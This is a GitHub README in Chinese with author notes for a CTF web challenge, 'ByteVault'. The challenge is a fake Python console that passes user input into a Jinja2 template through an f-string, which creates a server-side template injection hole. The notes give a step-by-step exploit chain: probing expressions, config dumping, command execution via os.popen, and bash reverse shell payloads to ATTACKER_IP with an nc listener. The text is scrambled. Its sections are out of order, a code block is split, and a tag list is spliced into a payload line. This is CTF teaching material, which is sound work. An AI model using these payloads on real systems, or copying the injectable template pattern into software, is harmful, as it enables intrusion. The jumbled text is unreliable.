kaustav258/The-Templator
GitHub: kaustav258/The-Templator
Stars: 0 | Forks: 0
# ByteVault — CTF 挑战笔记
## 类别:Web | 难度:中等
## 挑战描述(展示给玩家)
## 漏洞
**位置:** `POST /console` — 表单字段 `code`
**根本原因:** `app.py` 中的 `/console` 路由将用户提交的代码
直接插值到一个 Jinja2 模板字符串中(通过 Python f-string),然后
对结果调用 `render_template_string()` — 没有任何净化:
```
template = f"""
...
](
['bash','-c','bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'],
stdout=-1,stderr=-1
).communicate()}}
```
### 步骤 6 — 获取 Flag
```
whoami # www-data
cat /home/www-data/user.txt
```
## 为何这比搜索版本更好
| 方面 | 搜索框 SSTI | 控制台 SSTI |
|---|---|---|
| 可信度 | 中等 —— 为什么搜索会渲染模板? | 高 —— “Python 沙箱”自然让人联想到代码执行 |
| 误导 | 无 | 强烈 —— 玩家会假设真的在执行代码 |
| 干扰项 | 无 | 假的“受限环境”提示制造虚假信心 |
| 发现路径 | 明显的反射 → 测试 `{{7*7}}` | 玩家必须先意识到控制台 *并未* 执行 Python |
| 真实性 | 通用 | 模仿真实的“在线评测/沙盒”应用 |
## 部署
```
cd bytevault-ctf-v2/
docker build -t bytevault-ctf .
docker run -d -p 5000:5000 --name bytevault bytevault-ctf
```
## 作者
Kaustav Das
{code} ← code lands here in the raw template
...
"""
return render_template_string(template)
```
`code` 的值在 Jinja2 解析之前就被嵌入到 *模板源* 中。
因此,嵌入在 `code` 中的任何 Jinja2 表达式都会作为模板逻辑执行——
“沙箱”根本没有执行 Python。它只是一个具有迷惑性的诱饵。
## 利用路径
### 步骤 1 — 发现异常
访问 `/console`。输入一段正常的 Python 片段:
```
print("hello")
```
注意输出只是回显原始代码——它并没有执行任何东西。
“沙箱”是假的。
### 步骤 2 — 探测 SSTI
尝试注入 Jinja2 表达式而不是 Python 代码:
```
{{7*7}}
```
如果输出显示 `49` —— 说明存在服务器端模板注入漏洞!
### 步骤 3 — 确认 Python 对象访问
```
{{config}}
```
返回 Flask 配置转储 —— 确认 Jinja2 拥有完整的 Python 上下文。
```
{{self.__class__.__mro__}}
```
返回 MRO 链 —— 确认无限制的 Python 对象遍历。
### 步骤 4 — 通过 os.popen 实现 RCE
```
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```
应返回类似内容:`uid=33(www-data) gid=33(www-data) groups=33(www-data)`
### 步骤 5 — 反向 Shell
在攻击者机器上设置监听:
```
nc -lvnp 4444
```
在控制台代码框中提交此载荷:
```
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}
```
或者通过子类链调用 `subprocess.Popen`:
```
{{''.__class__.__mro__[1].__subclasses__()[标签:Flask, Jinja2, OS命令注入, Python, RCE, SSTI, Web安全, 代码执行, 伪造沙箱, 反序列化, 命令执行, 字节宝库, 攻击链, 无后门, 服务端模板注入, 模板注入, 沙箱逃逸, 漏洞分析, 策略引擎, 网络安全挑战, 蓝队分析, 路径探测